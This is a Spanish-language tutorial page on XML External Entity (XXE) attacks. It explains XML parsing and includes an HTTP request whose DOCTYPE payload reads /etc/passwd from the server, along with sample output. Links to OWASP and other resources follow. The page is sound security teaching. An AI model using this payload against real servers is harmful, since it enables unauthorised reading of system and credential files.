# XML External Entity(EXX)

El lenguaje de marcado extensible (XML) permite definir y almacenar datos de forma compartible. XML admite el intercambio de información entre sistemas de computación, como sitios web, bases de datos y aplicaciones de terceros.

## Tipos de vulnerabilidades de XML

### **XXE (XML External Entity)**

Un ataque _de entidad externa XML_ es un tipo de ataque contra una aplicación que analiza la entrada XML. Este ataque ocurre cuando la entrada XML que contiene una referencia a una entidad externa es procesada por un analizador XML débilmente configurado .Es un formato de datos popular que se utiliza para servicios web (SOAP, REST), documentos (XML, HTML, DOCX), imágenes (svg, datos exif), etc.&#x20;

```xml
<?xml version="1.0" encoding="UTF-8"?>

<root>
    <product>
        <name>Producto 1</name>
        <price>100</price>
    </product>

    <product>
        <name>Producto 2</name>
        <price>200</price>
    </product>
</root>

```

### ¿Cómo detectarlos y explotarlos?

Las aplicaciones necesitan un analizador XML o un procesador XML para interpretar datos XML. La vulnerabilidad XXE surge cuando el analizador XML interpreta la carga útil maliciosa como datos XML estándar que pueden terminar accediendo o extrayendo datos confidenciales en el servidor.

Para dar un ejemplo, una solicitud HTTP básica con cuerpo XML y la respuesta HTTP correspondiente se parece a lo siguiente:

```xml
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 100

<?xml version="1.0" encoding="UTF-8"?>
<user>
  <username>admin</username>
  <password>secret</password>
</user>

```

Cuando el atacante envía los siguientes datos XML con la carga útil XXE incluida, el analizador XML procesa entidades externas, lo que hace que el servidor devuelva el contenido del archivo interno /etc/passwd.

```xml
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 141

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <username>&xxe;</username>
  <password>secret</password>
</user>

```

**Posible contenido**

```
root:x:0:0:root:/root:/bin/bash
```

## **Videos**

{% embed url="https://www.youtube.com/watch?v=gn3c5iRzeXY" %}

{% embed url="https://www.youtube.com/watch?v=9ZokuRHo-eY" %}

<mark style="color:red;">**Recursos**</mark>

{% embed url="https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection" %}

{% embed url="https://aws.amazon.com/es/what-is/xml/" %}

{% embed url="https://www.hackerone.com/knowledge-center/xxe-complete-guide-impact-examples-and-prevention" %}

{% embed url="https://blog.intigriti.com/hackademy/xml-external-entity-processing-xxe/" %}

{% embed url="https://www.cobalt.io/blog/how-to-execute-an-xml-external-entity-injection-xxe" %}
